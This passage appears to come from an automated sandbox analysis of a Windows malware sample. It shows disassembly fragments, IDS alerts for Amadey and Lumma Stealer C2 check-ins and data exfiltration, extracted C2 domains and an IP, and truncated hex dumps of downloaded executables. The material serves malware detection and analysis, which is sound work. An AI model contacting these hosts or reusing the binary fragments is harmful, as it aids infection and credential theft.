Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov esi, ecx 19_2_0010BC47
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov esi, ecx 19_2_0010A733
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov byte ptr [edx], bl 19_2_000FC4C0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then lea edx, dword ptr [ecx+01h] 19_2_000FF4DA
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov esi, ecx 19_2_0010BCF6
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov esi, eax 19_2_0010B500
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx ebx, byte ptr [esp+edx+02h] 19_2_00132D3C
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx edx, byte ptr [eax+ecx-07h] 19_2_0011ED44
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov ecx, eax 19_2_0011ED44
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov word ptr [edi], ax 19_2_000FFD7A
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], E389C079h 19_2_0012EE20
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then dec ebx 19_2_00134625
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 2C331E1Fh 19_2_00116650
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+1D78B1A5h] 19_2_0010FE58
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp dword ptr [edx+ecx*8], B130B035h 19_2_00135E70
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4802CC78h 19_2_0010DEF0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx esi, byte ptr [esp+edx+04h] 19_2_0010DEF0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov esi, ecx 19_2_0010DEF0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov edi, ecx 19_2_0010DEF0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then add ebp, dword ptr [esp+0Ch] 19_2_00120F10
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov byte ptr [ebx], cl 19_2_00121703
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx esi, byte ptr [esp+edx+00000270h] 19_2_00121751
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov word ptr [ecx], bp 19_2_00110F54
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov word ptr [ecx], bp 19_2_00110F67
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx edi, byte ptr [esi+ecx] 19_2_0011DF66
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx edi, byte ptr [ecx+esi] 19_2_000F2780
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx esi, byte ptr [esp+eax+000000EFh] 19_2_0010BF8A
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx ebx, byte ptr [esp+edi+3D954FEDh] 19_2_000FCFD3
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov esi, ecx 19_2_0010AFF7
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 19_2_0011F7E0

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49737 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49821 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49744
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49848 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49904 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49940 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059919 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (importenptoc .com) : 192.168.2.4:54284 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2059991 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (modernakdventure .cyou) : 192.168.2.4:55877 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2059920 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (importenptoc .com in TLS SNI) : 192.168.2.4:49966 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059920 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (importenptoc .com in TLS SNI) : 192.168.2.4:49973 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49975 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50030 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49879 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059920 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (importenptoc .com in TLS SNI) : 192.168.2.4:50039 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50041 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059920 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (importenptoc .com in TLS SNI) : 192.168.2.4:50035 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059920 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (importenptoc .com in TLS SNI) : 192.168.2.4:50037 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50045 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50049 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.4:50047 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059911 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (breedertremnd .com) : 192.168.2.4:51667 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2059912 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (breedertremnd .com in TLS SNI) : 192.168.2.4:50057 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2059912 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (breedertremnd .com in TLS SNI) : 192.168.2.4:50061 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2059912 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (breedertremnd .com in TLS SNI) : 192.168.2.4:50063 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49981 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49952 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49952 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49966 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49973 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49966 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49973 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49946 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49946 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50061 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50061 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50057 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50057 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50035 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50063 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50039 -> 188.114.97.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: soulfulimusic.cyou
Source: Malware configuration extractor URLs: importenptoc.com
Source: Malware configuration extractor URLs: voicesharped.com
Source: Malware configuration extractor URLs: inputrreparnt.com
Source: Malware configuration extractor URLs: torpdidebar.com
Source: Malware configuration extractor URLs: rebeldettern.com
Source: Malware configuration extractor URLs: actiothreaz.com
Source: Malware configuration extractor URLs: garulouscuto.com
Source: Malware configuration extractor URLs: breedertremnd.com
Source: Malware configuration extractor IPs: 185.215.113.43
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49868 -> 31.59.185.129:9998
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:07 GMTContent-Type: application/octet-streamContent-Length: 10174464Last-Modified: Wed, 12 Feb 2025 03:23:08 GMTConnection: keep-aliveETag: "67ac141c-9b4000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 86 9b 4b 72 c2 fa 25 21 c2 fa 25 21 c2 fa 25 21 26 8a 20 20 c3 fa 25 21 26 8a 26 20 c1 fa 25 21 26 8a 21 20 d1 fa 25 21 26 8a 24 20 d3 fa 25 21 c2 fa 24 21 62 fa 25 21 26 8a 2d 20 c8 fa 25 21 26 8a da 21 c3 fa 25 21 26 8a 27 20 c3 fa 25 21 52 69 63 68 c2 fa 25 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 b4 79 8c e2 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1a 00 80 00 00 00 b0 9a 00 00 00 00 00 60 84 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 10 00 00 0a 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 50 9b 00 00 10 00 00 b6 a4 9b 00 02 00 60 c1 00 00 08 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 a2 00 00 b4 00 00 00 00 f0 00 00 84 45 9a 00 00 e0 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 40 9b 00 2c 00 00 00 68 9a 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 90 00 00 38 01 00 00 00 00 00 00 00 00 00 00 48 91 00 00 20 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 7e 00 00 00 10 00 00 00 80 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 40 23 00 00 00 90 00 00 00 30 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 1f 00 00 00 c0 00 00 00 10 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 2c 04 00 00 00 e0 00 00 00 10 00 00 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 50 9a 00 00 f0 00 00 00 50 9a 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 40 9b 00 00 10 00 00 00 30 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:18 GMTContent-Type: application/octet-streamContent-Length: 331776Last-Modified: Wed, 12 Feb 2025 05:43:12 GMTConnection: keep-aliveETag: "67ac34f0-51000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 12 f0 a4 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 62 04 00 00 aa 00 00 00 00 00 00 60 ba 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 59 9c 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 05 00 b0 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 9d 04 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 60 04 00 00 10 00 00 00 62 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f3 20 00 00 00 80 04 00 00 22 00 00 00 66 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c d1 00 00 00 b0 04 00 00 4e 00 00 00 88 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 b0 39 00 00 00 90 05 00 00 3a 00 00 00 d6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:22 GMTContent-Type: application/octet-streamContent-Length: 660480Last-Modified: Wed, 12 Feb 2025 20:31:15 GMTConnection: keep-aliveETag: "67ad0513-a1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 0b 81 dc 1d 4f e0 b2 4e 4f e0 b2 4e 4f e0 b2 4e 46 98 21 4e 45 e0 b2 4e 5e 66 b3 4f 4d e0 b2 4e 5e 66 b1 4f 4c e0 b2 4e 5e 66 b6 4f 46 e0 b2 4e 5e 66 b7 4f 5b e0 b2 4e 4f e0 b3 4e c9 e0 b2 4e 4f e0 b2 4e 57 e0 b2 4e cc 66 b0 4f 4e e0 b2 4e 52 69 63 68 4f e0 b2 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 b7 eb ac 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 2a 00 6c 09 00 00 a6 00 00 00 00 00 00 e0 5b 09 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 0a 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 fa 09 00 40 01 00 00 00 00 00 00 00 00 00 00 00 20 0a 00 fc 0f 00 00 00 00 00 00 00 00 00 00 00 30 0a 00 f0 01 00 00 a0 ea 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 09 00 28 00 00 00 60 e9 09 00 40 01 00 00 00 00 00 00 00 00 00 00 00 80 09 00 80 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fe 6a 09 00 00 10 00 00 00 6c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 8b 00 00 00 80 09 00 00 8c 00 00 00 70 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 06 00 00 00 10 0a 00 00 06 00 00 00 fc 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 fc 0f 00 00 00 20 0a 00 00 10 00 00 00 02 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 01 00 00 00 30 0a 00 00 02 00 00 00 12 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:27 GMTContent-Type: application/octet-streamContent-Length: 287232Last-Modified: Wed, 12 Feb 2025 13:29:17 GMTConnection: keep-aliveETag: "67aca22d-46200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ef 51 4b ee ab 30 25 bd ab 30 25 bd ab 30 25 bd e0 48 26 bc ae 30 25 bd e0 48 20 bc 11 30 25 bd e0 48 21 bc bb 30 25 bd ba b6 26 bc a1 30 25 bd ba b6 21 bc ba 30 25 bd ba b6 20 bc f1 30 25 bd e0 48 24 bc a0 30 25 bd ab 30 24 bd 33 30 25 bd 2f b6 2c bc aa 30 25 bd 2f b6 da bd aa 30 25 bd 2f b6 27 bc aa 30 25 bd 52 69 63 68 ab 30 25 bd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 33 9f ac 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 2a 00 fc 02 00 00 7e 01 00 00 00 00 00 60 c3 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 04 00 00 04 00 00 00 00 00 00 03 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2c 1b 04 00 78 00 00 00 00 90 04 00 e0 01 00 00 00 60 04 00 70 29 00 00 00 00 00 00 00 00 00 00 00 a0 04 00 ec 09 00 00 70 ce 03 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 cd 03 00 40 01 00 00 00 00 00 00 00 00 00 00 00 10 03 00 a8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c fa 02 00 00 10 00 00 00 fc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d8 17 01 00 00 10 03 00 00 18 01 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 2f 00 00 00 30 04 00 00 14 00 00 00 18 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 70 29 00 00 00 60 04 00 00 2a 00 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 04 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ec 09 00 00 00 a0 04 00 00 0a 00 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:31 GMTContent-Type: application/octet-streamContent-Length: 2038272Last-Modified: Wed, 12 Feb 2025 13:31:02 GMTConnection: keep-aliveETag: "67aca296-1f1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 12 f0 a4 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 62 04 00 00 ae 00 00 00 00 00 00 00 c0 48 00 00 10 00 00 00 00 00 